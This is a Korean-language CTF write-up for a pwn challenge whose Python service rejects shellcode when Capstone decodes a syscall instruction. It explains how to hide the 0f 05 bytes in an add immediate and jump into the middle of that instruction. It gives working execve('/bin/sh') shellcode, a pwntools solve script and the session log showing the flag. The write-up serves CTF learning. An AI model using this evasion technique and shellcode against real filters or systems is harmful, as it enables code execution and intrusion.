TL;DR
Capstone이 디코드한 명령에만 syscall 필터를 적용하므로 즉시값에 0f 05를 숨기고 midstream jump로 실행하도록 설계했다. /bin/sh와 argv를 스택에 구성한 뒤 execve를 호출해 셸을 획득했다. 필터 우회와 호출 트릭을 결합한 shellcode 주입 공격
Analysis
import sysimport mmapimport ctypesfrom capstone import Cs, CS_ARCH_X86, CS_MODE_64from prettytable import PrettyTable
def disassemble(shellcode): md = Cs(CS_ARCH_X86, CS_MODE_64)
table = PrettyTable() table.field_names = ["Address", "Bytes", "Instruction"] table.align["Address"] = "l" table.align["Bytes"] = "l" table.align["Instruction"] = "l"
instructions = []
for insn in md.disasm(shellcode, 0x1000): address = f"0x{insn.address:08x}" bytes_hex = ' '.join(f"{b:02x}" for b in insn.bytes) instruction = f"{insn.mnemonic} {insn.op_str}".strip()
table.add_row([address, bytes_hex, instruction]) instructions.append((insn.mnemonic, insn.op_str))
print("\n[+] Disassembled Instructions:") print(table)
return instructions
def check_syscall(instructions): for mnemonic, op_str in instructions: if mnemonic == "syscall" or (mnemonic == "int" and op_str == "0x80"): print("[!] Detected syscall or int 0x80. Execution blocked.") sys.exit(1)
def execute_shellcode(shellcode): size = len(shellcode)
mem = mmap.mmap(-1, size, mmap.MAP_PRIVATE | mmap.MAP_ANONYMOUS, mmap.PROT_READ | mmap.PROT_WRITE | mmap.PROT_EXEC) mem.write(shellcode) mem.seek(0)
libc = ctypes.CDLL(None) libc.mprotect.argtypes = (ctypes.c_void_p, ctypes.c_size_t, ctypes.c_int) libc.mprotect(ctypes.c_void_p(ctypes.addressof(ctypes.c_char.from_buffer(mem))), size, mmap.PROT_READ | mmap.PROT_EXEC)
shell_func = ctypes.CFUNCTYPE(None)(ctypes.addressof(ctypes.c_char.from_buffer(mem)))
print("[+] Executing shellcode...") try: shell_func() except Exception as e: print(f"[!] Error executing shellcode: {e}")
if __name__ == "__main__": print("0xWelcome to ex-code-0x02!") print("[+] Enter shellcode (hex format, without 0x prefix):") hex_shellcode = input().strip() shellcode = bytes.fromhex(hex_shellcode)
print("[+] Disassembling shellcode...") instructions = disassemble(shellcode)
print("[+] Checking for restricted syscalls...") check_syscall(instructions)
execute_shellcode(shellcode)def disassemble(shellcode): md = Cs(CS_ARCH_X86, CS_MODE_64) for insn in md.disasm(shellcode, 0x1000): instruction = f"{insn.mnemonic} {insn.op_str}".strip() instructions.append((insn.mnemonic, insn.op_str))Capstone이 shellcode를 주소 0x1000부터 순차적으로 해석해 mnemonic과 operand를 수집한다. 디코딩이 직선적이므로 byte stream 중간 진입은 고려하지 않는다.
def check_syscall(instructions): for mnemonic, op_str in instructions: if mnemonic == "syscall" or (mnemonic == "int" and op_str == "0x80"): sys.exit(1)Capstone이 반환한 mnemonic을 문자열 비교로 필터링한다. 따라서 Capstone이 syscall이라고 결론내리지 못하도록 opcode 구성을 흐트러뜨리는 것이 목표다.
def execute_shellcode(shellcode): mem = mmap.mmap(-1, size, mmap.MAP_PRIVATE | mmap.MAP_ANONYMOUS, mmap.PROT_READ | mmap.PROT_WRITE | mmap.PROT_EXEC) mem.write(shellcode) shell_func = ctypes.CFUNCTYPE(None)(ctypes.addressof(ctypes.c_char.from_buffer(mem))) shell_func()필터를 통과한 바이트는 RWX mmap 영역에 복사된 뒤 함수 포인터로 실행된다. 추가 변조 없이 원본 바이트가 그대로 실행되므로 디스어셈블러를 속이면 실제 실행에서는 순수 기계어 흐름을 사용할 수 있다.
우회 설계
lea rdi, [rip+binsh]sub rsp, 0x20...add eax, 0x9090050fjmp rcxadd eax, imm32 명령은 Capstone 관점에서 정상 명령이지만 즉시값 첫 두 바이트가 0f 05다. 직전 명령에서 RCX를 해당 명령의 두 번째 바이트(0f)로 이동시키고 jmp rcx를 실행하면 실제 실행 흐름은 syscall로 진입한다. Capstone은 여전히 add로 인식하므로 필터가 발동되지 않는다.
perform_encryption과 달리 이 문제에서는 입력이 그대로 실행되므로 self modifying 단계가 필요 없다.- mmap는 shellcode 크기만큼 할당하므로 문자열과 패딩을 포함해 전체 길이가 실제로 도움이 되는지 확인했다.
/bin/sh문자열은 쉘코드 끝에 위치해 RIP-relative addressing으로 접근한다.
Exploit
/bin/sh\x00문자열과 argv 배열을 스택에 배치해 execve 인자 준비mov al, 0x3b로 시스템 콜 번호를 설정하고xor rdx, rdx로 envp를 NULL로 맞춘다lea rcx, [rip + disguise],add rcx, 1,jmp rcx순서로 위장된add eax, imm32중간으로 진입- 점프 착지 지점부터
syscall이 실행돼 셸을 획득한다. 이후cat /flag.txt실행으로 flag를 출력
from pwn import *
context.log_level = "debug"
shellcode_hex = ( "4883ec20488d3d3200000048893c2448c7442408000000004889e64831d231c0b03b" "488d0d0b0000004883c101ffe14883c420c3050f0590909090ebf22f62696e2f736800")MARK = b"__END_OF_CMD__"
p = remote("play.h7tex.com", 50424)p.sendlineafter(b":", shellcode_hex.encode())
p.wait(1)p.sendline(b"cat /flag.txt; echo " + MARK)
flag = p.recvuntil(MARK + b"\n", timeout=3).replace(MARK + b"\n", b"").decode().strip()print(flag)p.close()andsopwn@meow:~/ctftemp/h7$ python3 -u "/home/andsopwn/ctftemp/h7/pwn/0x0f05/solve.py"[x] Opening connection to play.h7tex.com on port 포트블라인드[x] Opening connection to play.h7tex.com on port 포트블라인드: Trying 주소블라인드[+] Opening connection to play.h7tex.com on port 포트블라인드: Done[DEBUG] Received 0x1 bytes: b'0'[DEBUG] Received 0x4f bytes: b'xWelcome to ex-code-0x02!\n' b'[+] Enter shellcode (hex format, without 0x prefix):\n'[DEBUG] Sent 0x8b bytes: b'4883ec20488d3d3200000048893c2448c7442408000000004889e64831d231c0b03b488d0d0b0000004883c101ffe14883c420c3050f0590909090ebf22f62696e2f736800\n'[DEBUG] Sent 0x23 bytes: b'cat /flag.txt; echo __END_OF_CMD__\n'[DEBUG] Received 0x1 bytes: b'H'[DEBUG] Received 0x41 bytes: b'7CTF{sh3llc0d3_a1nt_g0nn4_m4k3_y0u_r1ch_3b8a39d4}\n' b'__END_OF_CMD__\n'H7CTF{sh3llc0d3_a1nt_g0nn4_m4k3_y0u_r1ch_3b8a39d4}[*] Closed connection to play.h7tex.com port 포트블라인드